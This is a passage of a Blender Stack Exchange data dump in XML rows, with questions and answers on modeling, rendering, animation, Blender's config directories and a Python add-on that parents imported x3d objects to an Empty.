  <row Id="30460" PostTypeId="1" CreationDate="2015-05-06T01:22:28.320" Score="3" ViewCount="889" Body="&lt;p&gt;just wanted to know if there is a quicker way of creating a 2D mesh from a bezier curve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now i just end up with some kind triangular shape that i have to delete the bottom vertices from, and then set the Z axis on the remaining vertices to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the 2D option instead of the 3D doesn't have any effect for my purpose. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a demo of my current method:&#xA;&lt;a href=&quot;https://youtu.be/YL23LZxlYHA&quot; rel=&quot;nofollow&quot;&gt;https://youtu.be/YL23LZxlYHA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14128" LastActivityDate="2015-05-06T06:32:01.433" Title="Best way of creating 2D mesh from curve?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30461" PostTypeId="2" ParentId="30458" CreationDate="2015-05-06T01:24:52.067" Score="1" Body="&lt;p&gt;If you mix a diffuse and transparent shader together you can animate the mix value so that the material goes from visible to invisible. Mouse over the mix value and press the &lt;kbd&gt;I&lt;/kbd&gt; key to create a &lt;strong&gt;Keyframe&lt;/strong&gt;, move to the frame where you want the text to be completely invisible and press the &lt;kbd&gt;I&lt;/kbd&gt; key again .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://imgur.com/9pUBKm5&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/9pUBKm5.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorDisplayName="user1853" LastEditDate="2015-05-06T01:31:54.040" LastActivityDate="2015-05-06T01:31:54.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30462" PostTypeId="2" ParentId="30460" CreationDate="2015-05-06T01:54:15.280" Score="3" Body="&lt;p&gt;You can switch &lt;strong&gt;&lt;em&gt;Fill&lt;/em&gt;&lt;/strong&gt;  option to &lt;strong&gt;&lt;em&gt;Front&lt;/em&gt;&lt;/strong&gt; so you don't have the lower part&#xA; :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8uH2P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or you create another Curve and flat it on the Y axis and use it as a bevel  object :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6No8T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-06T01:54:15.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30463" PostTypeId="1" AcceptedAnswerId="32846" CreationDate="2015-05-06T03:24:22.603" Score="2" ViewCount="1770" Body="&lt;p&gt;I have a character which moves and jumps around rather quickly. I'd like to add a cloth simulate cape. However it stretches and snaps around into itself due to the character's fast movements, making a big mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some ways to get a more realistic behavior when adding cloth simulated clothes to fast moving characters?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried slowing the characters animation to half speed. The cape then works &lt;em&gt;better&lt;/em&gt;, but I can't find a way to speed up the baked simulation..&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-06-22T19:21:01.577" Title="How to simulate cloth on a fast moving character?" Tags="&lt;animation&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30464" PostTypeId="1" CreationDate="2015-05-06T04:11:55.180" Score="3" ViewCount="483" Body="&lt;p&gt;I have several objects each with an armature modifier set to the same armature object using vertex groups for influence.  I am trying to hide/show objects during a few frames of an action within the 3d viewport.  I've tried just toggling 'Restrict Viewport Visibility' of the objects in the outliner and adding a keyframe using 'i', but it also hides the armature.  Also, hiding the objects further down the armature chain hides everything else above it.  I've also tried just keyframing the render visibility that results in the same results with Only Render checked under Display of the 3d Viewport Properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame 1 - 5: show everything, but 'Arm-EndSwing'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame 6 - 14: hide the object 'Arm-StartSwing', show object 'SlashSprite'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame 15: show everything, but 'Arm-StartSwing'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a lot of google searches and forum searches, but cannot figure out a solution.  Might be my lack of animation experience.  Any guidance is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14184" LastActivityDate="2015-05-06T04:11:55.180" Title="How to keyframe object visibility within an action" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;&lt;keyframes&gt;&lt;dopesheet&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30465" PostTypeId="2" ParentId="30407" CreationDate="2015-05-06T04:45:55.600" Score="11" Body="&lt;p&gt;Scenes with many light sources (like this one) tend to be noisy because by default cycles randomly picks one light source to sample for every ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such scenes a decent improvement can be gained by sampling all lights at once for every sample, by using the &lt;a href=&quot;http://blender.org/manual/render/cycles/settings/integrator.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;branched path&lt;/em&gt; integrator&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8bk2F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sub&gt;Note that I rendered at 50% resolution&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enabled &lt;em&gt;clamping&lt;/em&gt;, which does a bit of what combining multiple renders with different seeds does (at least when you use a format like png). Note that &lt;em&gt;direct&lt;/em&gt; clamping can cause some rather visible dimming of light sources, so see if you can get away with just &lt;em&gt;indirect&lt;/em&gt; clamping.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turned down the number of bounces to gain some speed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turned off reflective caustics to mitigate fireflies cast by glossy surfaces.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here are some other things which may help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;See if you can reduce the number of light sources. For example, the street lamps have a mesh light and a point lamp. Try using just one or the other. For example you might make the mesh light only visible to the camera, and let the point lamp do all the illuminating: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/13pYL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try and favor lamps over mesh lights where reasonable. Lamps can be sampled in a more optimized fashion. Don't feel like you have to replace every mesh light though, some places mesh lights are just there for a reason ;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;multiple importance sampling&lt;/em&gt; on bright lamps/mesh lights or large surfaces which reflect a lot of light. I.e. relatively large contributors to the overall ambient illumination.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &lt;em&gt;multiple importance sampling&lt;/em&gt; on surfaces which contribute relatively little to the ambient illumination.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make bump mapping only visible to the camera, to avoid slowing down sampling on indirect bounces where bump mapping makes very little visible difference.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See if you can get away with only using the environment texture for reflections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JIjZt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first frame shows the render with the environment map (visible in the preview), the second shows it without (world appears a solid color to the camera), and the third shows it with the environment map only affecting the glossy shader (solid color again).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-06T05:51:23.027" LastActivityDate="2015-05-06T05:51:23.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30466" PostTypeId="1" CreationDate="2015-05-06T05:08:55.483" Score="2" ViewCount="735" Body="&lt;p&gt;So I followed Andrew Price's tutorial on making a realistic floor using bump maps, displacement maps, etc. I did it, everything turned out great, until I actually played my animation.&lt;br&gt;&#xA;My cubes that were sitting happily on the floor violently exploded. I realized that I had to move the cube quite a bit above the plane so it would sit nicely on it without exploding.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fJlFM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJlFM.png&quot; alt=&quot;cubes and floor plane&quot;&gt;&lt;/a&gt;&#xA;Here's all the nodes and stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jwwCc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jwwCc.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can get the cubes to sit on the floor without exploding?&#xA;Looks pretty weird just floating in the air like that.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PIXsu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PIXsu.jpg&quot; alt=&quot;rendered cubes, floor and wreaking ball&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13366" LastEditorUserId="2217" LastEditDate="2015-05-06T13:37:47.907" LastActivityDate="2015-05-06T13:37:47.907" Title="Rigid body cubes exploding when on floor" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30467" PostTypeId="1" CreationDate="2015-05-06T05:20:50.877" Score="7" ViewCount="13666" Body="&lt;p&gt;Can anyone tell me where the .blender directory is in Ubuntu 14.04?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find the .blender directory in my Ubuntu 14.04 system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to know this location so I can put the MakeHuman add on sub-directories there.&lt;/p&gt;&#xA;" OwnerUserId="14185" LastEditorUserId="599" LastEditDate="2015-05-06T05:40:59.787" LastActivityDate="2021-02-12T20:54:04.877" Title="Where are the Blender program files in Ubuntu 14.04?" Tags="&lt;add-on&gt;&lt;linux&gt;&lt;installation&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30468" PostTypeId="2" ParentId="30467" CreationDate="2015-05-06T05:38:47.883" Score="0" Body="&lt;p&gt;It seems to be an hidden directory (cause by the dot). A lot of applications create hidden diretories in your home (/home/yourusername/.dontknow)&#xA;Look for a directory like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not quite sure, I gonna try this later and submut my answer when I'm right &lt;/p&gt;&#xA;" OwnerUserId="6445" LastActivityDate="2015-05-06T05:38:47.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30469" PostTypeId="2" ParentId="30467" CreationDate="2015-05-06T05:38:55.207" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/manual/getting_started/installing_blender/directorylayout.html#unix-linux-bsd-solaris&quot; rel=&quot;nofollow noreferrer&quot;&gt;It's usually&lt;/a&gt; in &lt;code&gt;~/.config/blender/$version&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also click &lt;em&gt;Install from file&lt;/em&gt; in the user preferences (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;) to have blender put the scripts where they need to be (It'll even unzip them if they are zipped):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cbKxv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-06T05:45:18.523" LastActivityDate="2015-05-06T05:45:18.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30470" PostTypeId="2" ParentId="30467" CreationDate="2015-05-06T05:42:54.617" Score="10" Body="&lt;p&gt;By default: see the &lt;a href=&quot;http://www.blender.org/manual/getting_started/installing_blender/directorylayout.html#unix-linux-bsd-solaris&quot;&gt;doc about directory layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# LOCAL&#xA;./2.74/&#xA;&#xA;# USER&#xA;$HOME/.config/blender/2.74/&#xA;&#xA;# SYSTEM&#xA;/usr/share/blender/2.74/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-06T05:42:54.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30471" PostTypeId="2" ParentId="30460" CreationDate="2015-05-06T06:26:35.913" Score="2" Body="&lt;p&gt;Add a new plane object and scale to the width of desired mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an array modifier then a curve modifier to the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase count in array modifier until mesh is length of curve.&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="2533" LastEditDate="2015-05-06T06:32:01.433" LastActivityDate="2015-05-06T06:32:01.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30472" PostTypeId="1" AcceptedAnswerId="30479" CreationDate="2015-05-06T06:47:52.223" Score="4" ViewCount="723" Body="&lt;p&gt;Hi I want to find easiest way how to model a circle with circular holes:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lco0B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The holes should be precisely positioned (e.g. every 15°).&lt;/p&gt;&#xA;" OwnerUserId="2176" LastEditorUserId="599" LastEditDate="2015-05-06T08:48:31.167" LastActivityDate="2015-05-06T08:54:05.720" Title="How precisely repeat shapes?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30474" PostTypeId="1" AcceptedAnswerId="30476" CreationDate="2015-05-06T06:54:28.600" Score="3" ViewCount="530" Body="&lt;p&gt;Either using Cycles or Blender Render - Need to match the depth of field on an object to a background image. Basically, I want to have a background image (that has DoF in it by itself), mapped flat on the background, and then a 3D object with matched DoF - so the DoF is only applied on the 3D object but NOT on the background image. Any hints welcome!&lt;/p&gt;&#xA;" OwnerUserId="14186" LastActivityDate="2015-05-06T07:43:40.807" Title="Match Depth of Field of Background Image" Tags="&lt;cycles-render-engine&gt;&lt;depth-of-field&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30475" PostTypeId="2" ParentId="30435" CreationDate="2015-05-06T07:36:16.407" Score="4" Body="&lt;p&gt;One way to handle this is to use UV Mapping right from the start.  For this, you can press &lt;kbd&gt;Numpad_7&lt;/kbd&gt; for top view.   Now if you press &lt;kbd&gt;Numpad_4&lt;/kbd&gt; several times, the view will rotate along the z-axis.  Once the positioning matches the texture orientation press &lt;kbd&gt;Numpad_5&lt;/kbd&gt; to set the view to Orthographic.  Now press &lt;kbd&gt;u&lt;/kbd&gt; and select &quot;Project From View (Bounds)&quot;&#xA;You could just use Unwrap or Reset but there is no guarantee that you will have the mapping aligned to the texture's direction.  If it's not then you'd have to rotate the UV's and/or scale by -1.0 along one of the axis(that can be confusing, it's best to avoid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dRAQz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you should be able to apply the modifiers and have the following result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lao3C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-11T05:33:32.057" LastActivityDate="2015-05-11T05:33:32.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30476" PostTypeId="2" ParentId="30474" CreationDate="2015-05-06T07:43:40.807" Score="2" Body="&lt;p&gt;If you enable &lt;em&gt;Transparent&lt;/em&gt; under &lt;em&gt;Film&lt;/em&gt;, then the background of the rendered image will be transparent, allowing for it to be easily composited with another image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H66Ge.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-06T07:43:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30477" PostTypeId="1" AcceptedAnswerId="38317" CreationDate="2015-05-06T07:45:58.303" Score="6" ViewCount="5290" Body="&lt;p&gt;I'm having problem with antialiasing (I think this is the problem...). As you can see from the picture, far object and reflected object are still to rough (see the red arrows).&#xA;On the right you can appreciate my antialiasing settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a problem of antialiasing? I'm quite new to the blender and the 3D graphics world, so I'd like to understand what is happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance ! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fEC62.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addition&lt;/strong&gt;&#xA;Using cycles rendering, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eI1SS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? I lost all the material settings???&lt;/p&gt;&#xA;" OwnerUserId="14187" LastEditorUserId="599" LastEditDate="2015-05-06T08:57:39.333" LastActivityDate="2015-09-10T13:01:40.473" Title="How to get better anti-aliasing in blender internal?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;antialiasing&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30479" PostTypeId="2" ParentId="30472" CreationDate="2015-05-06T08:44:18.337" Score="6" Body="&lt;ol&gt;&#xA;&lt;li&gt;Model the circle&lt;/li&gt;&#xA;&lt;li&gt;Add cylinder (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;), then enter edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;) and select everything (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Scale the cylinder (&lt;kbd&gt;S&lt;/kbd&gt;) so it has the same radius as desired for the holes&lt;/li&gt;&#xA;&lt;li&gt;Move it over on the X or Y axis so it intersects the circle (&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Exit edit mode (&lt;kbd&gt;&amp;#8633; Tab&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Add an empty (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) and rotate it 15&amp;deg; on the Z (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;15&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Add an array modifier to the cylinder&lt;/li&gt;&#xA;&lt;li&gt;Disable &lt;em&gt;relative offset&lt;/em&gt; and enable &lt;em&gt;object offset&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Specify the empty as the offset object in the array modifier&lt;br&gt;&#xA;&lt;sub&gt;Note: You can press &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the object selection box to pick an object by clicking in the 3D view&lt;/sub&gt;&lt;/li&gt;&#xA;&lt;li&gt;Increase the count until there are cylinders all around the circle&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/18732/599&quot;&gt;Add a boolean modifier&lt;/a&gt; to the circle&lt;/li&gt;&#xA;&lt;li&gt;Specify the cylinder object as the boolean target &lt;/li&gt;&#xA;&lt;li&gt;Set the boolean operation to &lt;em&gt;difference&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply the boolean modifier&lt;/li&gt;&#xA;&lt;li&gt;Delete now unneeded cylinder object and empty&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IHMTE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-05-06T08:52:22.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30481" PostTypeId="1" AcceptedAnswerId="30482" CreationDate="2015-05-06T09:02:54.107" Score="1" ViewCount="366" Body="&lt;p&gt;I have a .x3d file containing several meshes. When I load them into Blender, they are loaded into separate objects; I'd like all of them to be loaded into one group so I can manipulate them (e.g., rotate them) together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To emphasize, I know how to group objects once they are loaded, however there are a lot of them, so being able to load them directly to a group would be more convenient. Is there a way to do it?&lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="47" LastEditDate="2015-05-11T04:49:57.270" LastActivityDate="2015-05-11T04:49:57.270" Title="load .x3d scene into a group" Tags="&lt;file-format&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30482" PostTypeId="2" ParentId="30481" CreationDate="2015-05-06T09:14:30.517" Score="2" Body="&lt;p&gt;While the &lt;strong&gt;.x3d&lt;/strong&gt; specifies a &lt;em&gt;Group&lt;/em&gt; tag, as of (May 2015) it doesn't appear that the blender .x3d importer does anything special with the tag&#xA;It might not be possible to avoid a bit of scripting..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .x3d importer currently prepends the name 'Shape' to all objects it generates. A simple way to select all objects with that prefix is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;D = bpy.data&#xA;for obj in D.objects:&#xA;    if obj.name.startswith(&quot;ShapeCylinder&quot;):&#xA;        obj.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or also generate the Empty and parent them all in one go.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;objects = bpy.data.objects&#xA;&#xA;# makes the Empty, adds to scene&#xA;MT = objects.new('Empty_Grouper', None)&#xA;bpy.context.scene.objects.link(MT)&#xA;&#xA;# parent every new object to MT&#xA;for obj in objects:&#xA;    if obj.name.startswith(&quot;ShapeCylinder&quot;):&#xA;        obj.parent = MT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These scripts can be executed from inside Blender's Text Editor. An alternative is to write a thin wrapper around the .x3d importer, something like:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;wrapped_importer_x3d.py&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In essence what the code below does is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it loads the existing x3d importer code. &lt;/li&gt;&#xA;&lt;li&gt;Before triggering it, it stores the list of existing object names&lt;/li&gt;&#xA;&lt;li&gt;after the import is complete it figures out the names of the objects that have been added&lt;/li&gt;&#xA;&lt;li&gt;then parents those to an Empty.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could save this, and stick it into &lt;code&gt;/scripts/addons/wrapped_importer_x3d.py&lt;/code&gt;, enable it so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cJghZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it will be located in &lt;em&gt;Import -&gt; Import x3d parented&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ##### BEGIN GPL LICENSE BLOCK #####&#xA;#&#xA;#  This program is free software; you can redistribute it and/or&#xA;#  modify it under the terms of the GNU General Public License&#xA;#  as published by the Free Software Foundation; either version 2&#xA;#  of the License, or (at your option) any later version.&#xA;#&#xA;#  This program is distributed in the hope that it will be useful,&#xA;#  but WITHOUT ANY WARRANTY; without even the implied warranty of&#xA;#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&#xA;#  GNU General Public License for more details.&#xA;#&#xA;#  You should have received a copy of the GNU General Public License&#xA;#  along with this program; if not, write to the Free Software Foundation,&#xA;#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.&#xA;#&#xA;# ##### END GPL LICENSE BLOCK #####&#xA;&#xA;# &amp;lt;pep8-80 compliant&amp;gt;&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;x3d wrapped importer Parents&quot;,&#xA;    &quot;author&quot;: &quot;alias&quot;,&#xA;    &quot;version&quot;: (0, 0, 1),&#xA;    &quot;blender&quot;: (2, 7, 4),&#xA;    &quot;category&quot;: &quot;Import-Export&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;&#xA;}&#xA;&#xA;import bpy&#xA;from bpy.types import Operator&#xA;from bpy.props import (&#xA;    BoolProperty,&#xA;    EnumProperty,&#xA;    FloatProperty,&#xA;    StringProperty)&#xA;&#xA;from bpy_extras.io_utils import (&#xA;    ImportHelper,&#xA;    orientation_helper_factory,&#xA;    axis_conversion,&#xA;    path_reference_mode)&#xA;&#xA;from io_scene_x3d import import_x3d&#xA;&#xA;&#xA;IOX3DOrientationHelper = orientation_helper_factory(&#xA;    &quot;IOX3DOrientationHelper&quot;,&#xA;    axis_forward='Z',&#xA;    axis_up='Y')&#xA;&#xA;&#xA;class ImportX3DBETA(Operator, ImportHelper, IOX3DOrientationHelper):&#xA;    &quot;&quot;&quot;Import an X3D or VRML2 file&quot;&quot;&quot;&#xA;    bl_idname = &quot;import_scene.x3d_grouped&quot;&#xA;    bl_label = &quot;Import X3D/VRML2 Grouped&quot;&#xA;    bl_options = {'PRESET', 'UNDO'}&#xA;&#xA;    filename_ext = &quot;.x3d&quot;&#xA;    filter_glob = StringProperty(default=&quot;*.x3d;*.wrl&quot;, options={'HIDDEN'})&#xA;&#xA;    def parent_new_objects(self, object_names):&#xA;        objects = bpy.data.objects&#xA;        MT = objects.new('Empty_Grouper', None)&#xA;        bpy.context.scene.objects.link(MT)&#xA;&#xA;        # for every object in the scene which matches the start of the string&#xA;        # parent it to MT&#xA;        for obj in (o for o in objects if o.name in object_names):&#xA;            obj.parent = MT&#xA;&#xA;    def execute(self, context):&#xA;&#xA;        keywords = self.as_keywords(ignore=(&quot;axis_forward&quot;,&#xA;                                            &quot;axis_up&quot;,&#xA;                                            &quot;filter_glob&quot;,&#xA;                                            ))&#xA;        global_matrix = axis_conversion(from_forward=self.axis_forward,&#xA;                                        from_up=self.axis_up,&#xA;                                        ).to_4x4()&#xA;        keywords[&quot;global_matrix&quot;] = global_matrix&#xA;&#xA;        before = {obj.name for obj in bpy.data.objects}&#xA;&#xA;        response = import_x3d.load(self, context, **keywords)&#xA;        if response == {'FINISHED'}:&#xA;            after = {obj.name for obj in bpy.data.objects}&#xA;            new_names = after ^ before&#xA;            self.parent_new_objects(new_names)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;# Only needed if you want to add into a dynamic menu&#xA;def menu_func_import(self, context):&#xA;    self.layout.operator(ImportX3DBETA.bl_idname, text=&quot;Import x3d parented&quot;)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ImportX3DBETA)&#xA;    bpy.types.INFO_MT_file_import.append(menu_func_import)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.types.INFO_MT_file_import.remove(menu_func_import)&#xA;    bpy.utils.unregister_class(ImportX3DBETA)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    # bpy.ops.import_scene.x3d_grouped('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-06T15:13:17.603" 